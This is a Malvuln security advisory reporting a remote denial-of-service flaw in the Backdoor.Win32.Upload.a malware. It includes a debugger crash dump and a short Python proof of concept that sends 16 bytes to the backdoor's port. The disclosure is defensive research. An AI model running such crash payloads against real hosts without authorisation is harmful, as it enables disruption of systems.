Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/70711c4f594fe97ff6ab17039c133458.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Upload.a Vulnerability: Remote Denial of Service Description: The malware listens on TCP port 49971, each time it is run the port increments by one 49972 etc. Third-party attackers who can reach the infected host can send a payload of just few bytes to crash the backdoor. Type: PE32 MD5: 70711c4f594fe97ff6ab17039c133458 Vuln ID: MVID-2021-0224 Disclosure: 05/23/2021 Memory Dump: (1f48.19e8): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003 edi=00000003 eip=77aeed3c esp=05d9f5f4 ebp=05d9f784 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 77aeed3c c21400 ret 14h 0:002> .ecxr eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00408694 edi=00404bd0 eip=00404caa esp=05d9ff34 ebp=05d9ff80 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 *** WARNING: Unable to verify checksum for Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x4caa: 00404caa 8a4001 mov al,byte ptr [eax+1] ds:002b:00000001=?? 0:002> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa 00404caa 8a4001 mov al,byte ptr [eax+1] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00404caa (Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x00004caa) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 00000001 Attempt to read from address 00000001 PROCESS_NAME: Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 00000001 READ_ADDRESS: 00000001 FOLLOWUP_IP: Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa 00404caa 8a4001 mov al,byte ptr [eax+1] MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000019e8 BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE LAST_CONTROL_TRANSFER: from 776f8654 to 00404caa STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 05d9ff80 776f8654 00000000 776f8630 b72ca01f Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x4caa 05d9ff94 77ae4a77 00000000 514535be 00000000 kernel32!BaseThreadInitThunk+0x24 05d9ffdc 77ae4a47 ffffffff 77b09ed9 00000000 ntdll!__RtlUserThreadStart+0x2f 05d9ffec 00000000 00404bd0 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~2s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458 IMAGE_NAME: Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe DEBUG_FLR_IMAGE_TIMESTAMP: 21475346 FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_c0000005_Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe!Unknown BUCKET_ID: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=49971 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*16 s.send(PAYLOAD) s.close() print("Backdoor.Win32.Upload.a / Remote Denial of Service") print("MD5: 70711c4f594fe97ff6ab17039c133458") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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